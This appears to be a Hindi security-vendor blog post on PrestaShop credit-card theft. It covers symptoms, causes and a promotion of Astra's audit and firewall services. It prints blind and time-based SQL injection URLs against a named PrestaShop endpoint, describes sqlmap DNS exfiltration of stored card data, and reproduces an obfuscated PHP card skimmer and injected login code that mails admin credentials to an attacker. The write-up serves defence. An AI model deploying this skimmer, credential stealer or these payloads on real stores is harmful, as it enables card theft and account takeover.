ऑनलाइन लेनदेन ने निश्चित रूप से व्यवसाय करने में आसानी जोड़ी है। लेकिन इस आसानी के साथ सुरक्षा की जिम्मेदारी भी आती है। Prestashop पर चलने वाले ई-कॉमर्स स्टोर में बहुत सारी संवेदनशील जानकारी होती है। इसमें उपयोगकर्ता के क्रेडिट कार्ड विवरण शामिल हैं। इसलिए यह डेटा हमलावरों के लिए एक पका हुआ लक्ष्य बनाता है। Prestashop क्रेडिट कार्ड हाईजैक इस ई-कॉमर्स समाधान की लोकप्रियता के कारण बढ़ रहा है। इसे इसके सेटअप और रखरखाव में आसानी का श्रेय दिया जा सकता है। पुस्तक PrestaShop 1.5 Beginner's Guide के अनुसार,
Prestashop क्रेडिट कार्ड हाईजैक: लक्षण
Prestashop क्रेडिट कार्ड हाईजैक कई तरीकों से किया जा सकता है। यह सर्वर पर एक दुर्भावनापूर्ण स्क्रिप्ट या JavaScript की लाइनें हो सकती हैं। अक्सर यह SQL इंजेक्शन या फ़िशिंग पेज हो सकता है। तो संभावना की यह विविधता इसका पता लगाना कठिन बनाती है। हालांकि, कुछ संकेत हमले का संकेत दे सकते हैं:
- पहले से अज्ञात डेटाबेस टेबल्स जैसे Sqlmap दिखाई देते हैं।
- डैशबोर्ड पर अज्ञात एडमिन अकाउंट दिखाई देते हैं।
- ग्राहक का क्रेडिट कार्ड चोरी हो गया
- अज्ञात IPs से डैशबोर्ड पर लॉगिन।
- साइट पर नए अज्ञात पेज दिखाई देते हैं।
- साइट अज्ञात डोमेन पर रीडायरेक्ट होती है।
- Wireshark पैकेट विश्लेषण संदिग्ध डोमेन पर डेटा जाता हुआ दिखाता है।
- उपयोगकर्ता भुगतान संबंधी समस्याओं के बारे में शिकायत करते हैं।
- सर्वर लॉग्स ब्रूट फोर्स या SQL इंजेक्शन प्रयास दिखाते हैं।
आपके Prestashop स्टोर से क्रेडिट कार्ड विवरण चोरी हो रहे हैं? चैट विजेट पर हमें एक संदेश दें। हम आपकी सहायता करके खुश होंगे। अभी अपनी Prestashop वेबसाइट ठीक करें।
Prestashop क्रेडिट कार्ड हाईजैक: कारण
Prestashop में SQL इंजेक्शन
एक SQL इंजेक्शन आपके Prestashop स्टोर के डेटाबेस से समझौता कर सकता है। SQLi का मुख्य कारण इनपुट सैनिटाइजेशन की कमी है। डेवलपर्स अक्सर सुरक्षित कोडिंग प्रथाओं को लागू नहीं करते हैं। परिणामस्वरूप, कोड में SQLi और XSS जैसी भेद्यताएं होती हैं। Prestashop के लिए एक जीरो-डे SQLi शोषण 2014 में प्रकाशित किया गया था। कमजोर घटक id_manifacturer था। पूरा URL नीचे दिया गया है।
https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3[SQL-injection]
निम्नलिखित URL में, स्टेटमेंट्स को id_manufacturer के बाद इंजेक्ट किया जा सकता है। इसके अलावा, यह एक प्रकार का ब्लाइंड SQLi था। तो मूल रूप से डेटा केवल बूलियन प्रारूप में निकाला जा सकता था। कभी-कभी डेवलपर्स आंतरिक त्रुटियों को दबा देते हैं। यह हमलावरों को भेद्यताओं की खोज करने से रोकने के लिए किया जाता है। हालांकि, यदि सर्वर अभी भी स्टेटमेंट्स निष्पादित कर रहा है तो डेटा बूलियन प्रारूप में निकाला जा सकता है। यह ब्लाइंड SQLi का मामला है। हालांकि, डेटाबेस की सामग्री को पढ़ने के लिए कई अनुरोध करने की आवश्यकता होती है। यह मैनुअल शोषण को समय लेने वाला बनाता है। ब्लाइंड SQLi की जांच करने के लिए।
https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and 1=1
पहले देखें कि क्या यह स्टेटमेंट ट्रू एक्जीक्यूट होता है। दूसरा, स्टेटमेंट जहां =3 and 1=2 फॉल्स एक्जीक्यूट होता है। तो यह निश्चित रूप से ब्लाइंड SQLi का मामला है। हालांकि, कभी-कभी यह टाइम-बेस्ड ब्लाइंड SQLi हो सकता है। उस स्थिति में, सर्वर एक निश्चित समय के बाद बूलियन फीडबैक देता है। उदाहरण के लिए।
https://example.com/ajax/getSimilarManufacturer.php?id_manufacturer=3 and if(1=1, sleep(10), false)
यहां उपयोगकर्ता को 10 सेकंड इंतजार करना होगा। इसके बाद, सर्वर क्वेरी के आधार पर ट्रू या फॉल्स प्रतिक्रिया भेजता है।
स्वचालित शोषण
इसका शोषण करना एक कठिन कार्य लग सकता है। लेकिन ऑटोमेशन टूल्स उपलब्ध हैं। Sqlmap हमलावर के लिए इसका बहुत आसानी से शोषण कर सकता है। इसके बाद, हमलावर टेबल ps_payment_cc पढ़ सकता है। इस टेबल में कॉलम id_order_payment,card_number,card_brand,card_expiration हैं। जिससे पूरे सहेजे गए कार्ड विवरण चोरी हो जाते हैं। यदि टेबल बड़ी है, तो हमलावर DNS क्वेरीज़ का उपयोग करके हमले को तेज कर सकता है। चूंकि Sqlmap --dns-domain= विकल्प के साथ आता है। इस प्रकार हमलावर धीमे समय-आधारित आउटपुट के बजाय DNS क्वेरीज़ का उपयोग करके डेटा एक्सफिल्ट्रेट कर सकता है। हालांकि, हमलावर को DNS सर्वर के रूप में पंजीकृत मशीन को नियंत्रित करना होगा। इसलिए आपके सर्वर से बाहर जाने वाली DNS क्वेरीज़ पर नजर रखना महत्वपूर्ण है। हालांकि, सर्वर पर उपयोगकर्ता क्रेडिट कार्ड जानकारी संग्रहीत न करने की सलाह दी जाती है। जब तक एडमिन नियमित Prestashop सुरक्षा ऑडिट और पेनटेस्टिंग नहीं करते। हालांकि, अगर डेवलपर्स ने तैयार स्टेटमेंट्स का उपयोग किया होता तो यह सब टाला जा सकता था!
Prestashop क्रेडिट कार्ड मैलवेयर
कभी-कभी Prestashop में क्रेडिट कार्ड हैक आपकी साइट पर एक दुर्भावनापूर्ण स्क्रिप्ट के कारण हो सकता है। हमलावर पहले ज्ञात तकनीकों का उपयोग करके साइट का शोषण करते हैं। ज्यादातर समय यह OWASP के टॉप 10 में से एक होता है। इसके बाद मैलवेयर इंस्टॉल किया जाता है। यह मैलवेयर पहले डेटाबेस से जुड़ता है। डेटाबेस से, यह फिर क्रेडिट कार्ड जानकारी चुराता है। जो आमतौर पर ps_payment_cc टेबल में होती है।
ऊपर PrestaShop क्रेडिट कार्ड हाईजैकिंग स्क्रिप्ट का एक कोड स्निपेट दिया गया है। यहां स्क्रिप्ट पहले डेटाबेस से जुड़ती है। इसके बाद, यह डेटाबेस से क्रेडिट कार्ड जानकारी चुराती है।
आइए /vendor/composer/autoload_real.php फ़ाइल को संक्रमित करने वाले एक और क्रेडिट कार्ड मैलवेयर को देखें
class SiF { function __construct($conf) { $this->encrypt = FALSE; $this->in = $_POST; $this->test = isset($this->in['siftest']); $conf = explode('SiF', str_rot13($conf)); if(count($conf)!=2)return; $this->key = $conf[0]; $conf = explode('|', base64_decode($conf[1])); $s = array_shift($conf); $s = explode(';;', $s); $this->conf = array(); foreach($s AS $d) { $d = explode('::', $d); if(count($d)==2) $this->conf[trim($d[0])] = trim($d[1]); } array_shift($conf); $this->data = $conf; $this->get(); if($this->test) $this->out('[sifok]'); }function get(){if($this->search($this->data[0])===FALSE) return;foreach($this->data AS $i => $v){$v = $this->search($v);$this->data[$i] = $v===FALSE ? '' : $this->crypt($v);}$this->set();}function set(){$data = implode('|', $this->data);$data = $this->crypt('SiF').'|'.$data;if(!$this->encrypt) $data = base64_encode($data);$data = $this->post_fgc($data);if($this->test) $this->out($data);}function get_fgc($data){$url = $this->conf['url'].'?'.$this->conf['param'].'='.urlencode($data);if($this->test) $url .= '&test';return file_get_contents($url);}function post_fgc($data){$data = array($this->conf['param'] => $data);$options = array('http' => array('header' => "Content-type: application/x-www-form-urlencoded\r\n",'method' => 'POST','content' => http_build_query($data)));$context = stream_context_create($options);return file_get_contents($this->conf['url'], false, $context);}function search($key){$f = $this->in;if(preg_match_all('/(?:^|\[)([^\[\]]+)/s', trim($key), $a)){foreach($a[1] AS $v){if(is_array($f) && isset($f[$v])) $f = $f[$v];else return FALSE;}return $f;}return FALSE;}function crypt($s){if(function_exists('openssl_public_encrypt')){$key = "-----BEGIN PUBLIC KEY-----\n".$this->key."\n-----END PUBLIC KEY-----";if(@openssl_public_encrypt($s, $code, $key)){$this->encrypt = TRUE;return base64_encode($code);}}return $s;}function out($s){echo $s;exit;}}new SiF('ZVTsZN0TPFdTFVo3QDRONDHNN4TANQPOvDXOtDQG7ZWRtSDNht63nRT/RT2LPUJFPT1Eg4snl3Dvg0BDTc7SS0o//K7XbiRS3fZ+SCHEL+UP7dtvdinygJCfNRxDPgghOSrx2xH2p9A/pqf0zLW5Q4GZPVeoGZFtQesyvSRGDwlFT5Zf4ScH9A40ahDkBRZol/0lbDp8zAou8Njv1DVQNDNOFvSqKWfBwcbqUEjpmbiY2ygM3A0LKDho3WaY3ZiZGR7B3OupzSgBwcxsTMipz18MTIfnKMypaysoaIgsTEyoTy2MKW5K2I4pS9go250nUkxMJkcqzIlrI9yrUOsrJIupakxMJkcqzIlrI9wqaM8MTIfnKMypayspT9mqTAiMTI8MTIfnKMypaysMzylp3EhLJ1ysTEyoTy2MKW5K2kup3EhLJ1ysTEyoTy2MKW5K2yxK2AiqJ50pay8MTIfnKMypaysL2y0rKkxMJkcqzIlrI9cMS9mqTS0MKkxMJkcqzIlrI9jnT9hMKkxMJkcqzIlrI9uMTElMKAmZKk8MJ1unJksL29hMzyloJS0nJ9h'
एक दुर्भावनापूर्ण स्क्रिप्ट हमले का दूसरा चरण है। जैसा कि, पहले चरण में, कुछ ज्ञात भेद्यताओं का शोषण किया जाता है। जिसके बाद क्रेडेंशियल स्टीलर स्क्रिप्ट अपलोड की जाती है। इसलिए, आमतौर पर डेटाबेस में डेटा संग्रहीत न करने की सलाह दी जाती है। एक ई-कॉमर्स स्टोर के लिए, यह सलाह दी जाती है कि सभी संभावित तरीकों की तलाश के लिए सुरक्षा ऑडिट और पेनटेस्टिंग आयोजित की जाए कि मैलवेयर आपकी वेबसाइट में कैसे इंजेक्ट किया जा सकता है।
फ़िशिंग
फ़िशिंग का उपयोग बड़े पैमाने पर Prestashop क्रेडिट कार्ड हाईजैक करने के लिए किया जा सकता है। हमलावर मूल रूप से नकली लॉगिन पेज बनाता है। उपयोगकर्ता अंतर करने में असमर्थ हो सकते हैं। इसलिए वे संवेदनशील जानकारी प्रकट कर सकते हैं जिससे Prestashop में क्रेडिट कार्ड हैक हो सकता है। इन पेजों के बनाए जाने के कई तरीके हैं। उनमें से कुछ हैं:
- XSS: हमलावर ने XSS का उपयोग करके एक दुर्भावनापूर्ण डोमेन से एक दुर्भावनापूर्ण स्क्रिप्ट लोड की। इस स्क्रिप्ट ने मूल पेज की सामग्री को ओवरराइड कर दिया। पेज को फ़िशिंग लॉगिन पेज से बदल दिया गया। इसके बाद उपयोगकर्ताओं ने उन पेजों में अपनी जानकारी सबमिट की। फ़िशिंग पेज ने इस जानकारी को हमलावर-नियंत्रित डोमेन पर पास कर दिया।
- SQLi: हमलावर SQL इंजेक्शन का उपयोग करके रिवर्स शेल प्राप्त कर सकता है। इस रिवर्स शेल का उपयोग करके, हमलावर मूल भुगतान पेजों को फ़िशिंग पेजों से बदल सकता है।
- FTP: FTP पोर्ट इंटरनेट के लिए खुला था। इसके बाद हमलावर लॉगिन क्रेडेंशियल प्राप्त कर सकता था। जिसके बाद फ़िशिंग पेज बनाए गए।
- जीरो-डे: हमलावर एक जीरो-डे भेद्यता के कारण रिवर्स शेल प्राप्त कर सकता है। चूंकि इंस्टॉलेशन पुराना था। जिससे नकली भुगतान पेज बने। इस प्रकार Prestashop क्रेडिट कार्ड हाईजैक हुआ!
कमजोर क्रेडेंशियल्स
कमजोर क्रेडेंशियल्स Prestashop क्रेडिट कार्ड हाईजैक के पीछे एक प्रमुख कारण हैं। एक कमजोर पासवर्ड को ब्रूट फोर्स हमलों का उपयोग करके तोड़ा जा सकता है। एक बार जब हमलावर पासवर्ड प्राप्त कर लेता है, तो डैशबोर्ड खुला होता है। यहां से कुछ हमलावर एक अलग दृष्टिकोण अपनाते हैं। डेटाबेस से साइनअप जानकारी निष्क्रिय रूप से प्रतीक्षा करने और एकत्र करने के बजाय। हमलावर पेजों में कोड इंजेक्ट करता है जो उस जानकारी को डायनामिकली भेजता है। उदाहरण के लिए, एक प्रकार का मैलवेयर फ़ाइल /controllers/admin/AdminLoginController.php में कोड इंजेक्ट करता है। दुर्भावनापूर्ण कोड आमतौर पर ऐसा दिखता है।
public function processLogin()
{
/* Check fields validity */
$passwd = trim(Tools::getValue('passwd'));
$email = trim(Tools::getValue('email'));
$to = "admin@wsxdn.com";
$subject = "panel admin prestashop ". $_SERVER['SERVER_NAME'];
$header = "from: hacked <admin@wsxdn.com>";
$message = "Link : https://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] ."&up=hous \r\n email: $email \r\n pass: $passwd \r\n by bajatax -- sniper :v \r\n";
$message .= "Path : " . __file__;
$sentmail = @mail($to, $subject, $message, $header);
$sentmail1 = @mail($to, $subject, $message, $header);
यहां कोड की पहली कुछ पंक्तियां सभी वेरिएबल्स एकत्र कर रही हैं। इसके बाद PHP फ़ंक्शन उन्हें हमलावर के खाते में मेल करता है। इस मामले में, यह admin@wsxdn.com था। यहां भेजे गए विभिन्न पैरामीटर हैं:
- To: इसमें हमलावर की ईमेल आईडी होती है जिसे डेटा भेजा जाना है। इस मामले में, यह
admin@wsxdn.com. है। - Subject: इसमें निम्न संदेश होता है,
panel admin prestashop www.infectedDomain.com। - Header: हेडर भाग में संदेश होता है,
hacked <admin@wsxdn.com>। - संदेश भाग 1: इस पैरामीटर में सभी संवेदनशील जानकारी होती है। इनमें संक्रमित डोमेन शामिल है। इस मामले में
https://www.attackeddomain.com। इसके बाद URI जो है/admins/ajax-tab.php?rand=1470989908670&up=hous। इसके बाद ईमेल जो हैadmin@wsxdn.comn.com। और अंत में पासवर्ड। यह उपयोगकर्ता द्वारा दर्ज कोई भी रैंडम स्ट्रिंग हो सकता है। अंत में एक रैंडम टेक्स्ट जो हैby bajatax — sniper :v। - संदेश भाग 2: संदेश का दूसरा भाग संक्रमित फ़ाइल का स्थानीय पथ होता है। इस मामले में,
/usr/home/www.attackeddomain.com/web/controllers/admin/AdminLoginController.php।
हालांकि मैलवेयर खोज के बाद, Google ने हमलावर के Gmail अकाउंट को ब्लॉक कर दिया। इसके बाद इस मैलवेयर का एक नया वेरिएंट देखा गया। जिसने पहले जांचा कि क्या हमलावर को मेल भेजना संभव है। यदि नहीं, तो विवरण uspas.txt नामक एक स्थानीय फ़ाइल में सहेजे गए। अगले चरण में, हमलावर इसी तरह क्रेडिट कार्ड जानकारी प्राप्त कर सकता है जैसे उपयोगकर्ताओं का साइनअप। यह Prestashop क्रेडिट कार्ड हाईजैक का समापन करता है!
Prestashop सुरक्षा ऑडिट और फायरवॉल
Astra सुरक्षा ऑडिट
अपने Prestashop स्टोर को सुरक्षित बनाने के लिए खामियों को ढूंढना महत्वपूर्ण है। ये केवल पूर्ण सुरक्षा ऑडिट का उपयोग करके प्रकट किए जा सकते हैं। बाजार में कई समाधान उपलब्ध हैं। जैसे Astra द्वारा प्रदान किया गया।
Astra के साथ जुड़ाव निम्नलिखित सेवाएं प्रदान करेगा:
- SQLi, XSS, स्पैम आदि जैसे ज्ञात सामान्य भेद्यताएं और अन्य 80+।
- भेद्यता मूल्यांकन और प्रवेश परीक्षण (VAPT)
- यह मूल्य हेरफेर खामियों का भी पता लगाता है। इसके अलावा, यह व्यावसायिक तर्क त्रुटियों को भी ढूंढ सकता है।
- स्टेटिक और डायनामिक कोड विश्लेषण
- पाए गए सुरक्षा भेद्यताओं को पैच करने में तकनीकी सहायता
- भेद्यता रिपोर्टिंग के लिए सहयोगी क्लाउड डैशबोर्ड
- हमारे सुरक्षा टूल्स/API तक पहुंच
- वेब सुरक्षा सर्वोत्तम प्रथाएं परामर्श
- इंटरनेट पर खुले पोर्ट्स का पता लगाता है।
- कुछ ज्ञात सर्वर मिसकॉन्फ़िगरेशन ढूंढता है।
- क्लिकजैकिंग डिटेक्शन।
- टूटी हुई प्रमाणीकरण और प्राधिकरण।
- विशेषाधिकार वृद्धि बग्स का पता लगाता है।
- थर्ड-पार्टी प्लगइन्स में भेद्यताएं और बहुत कुछ।
परीक्षण अत्यधिक अनुकूलित हैं और वेबसाइट और आवश्यकता के अनुसार तैयार किए गए हैं।
सुरक्षा परीक्षण का सामान्य दायरा:
- ग्राहक वेब एप्लिकेशन
- भुगतान संचालन और एकीकरण
- प्रशासन पोर्टल
- API और वेब सेवाएं
Astra फायरवॉल
एक Prestashop फायरवॉल आपके Prestashop स्टोर पर किसी भी अनधिकृत पहुंच को ब्लॉक करता है। सभी इनकमिंग ट्रैफिक स्कैन किया जाता है। जिससे दुर्भावनापूर्ण अनुरोध हटा दिए जाते हैं। Astra फायरवॉल मैलवेयर अपलोड के लिए स्कैन करता है। Prestashop क्रेडिट कार्ड हाईजैक स्क्रिप्ट अपलोड करने के किसी भी प्रयास को ब्लॉक किया जाता है। Astra लॉगिन गतिविधि को भी ट्रैक करता है। इसलिए यदि डैशबोर्ड से समझौता किया जाता है, तो उपयोगकर्ता को सूचित किया जाता है। इसके अलावा, Astra सुनिश्चित करता है कि इंस्टॉलेशन अपडेटेड है। इस प्रकार, यह आपके स्टोर को चौबीसों घंटे सुरक्षा देता है!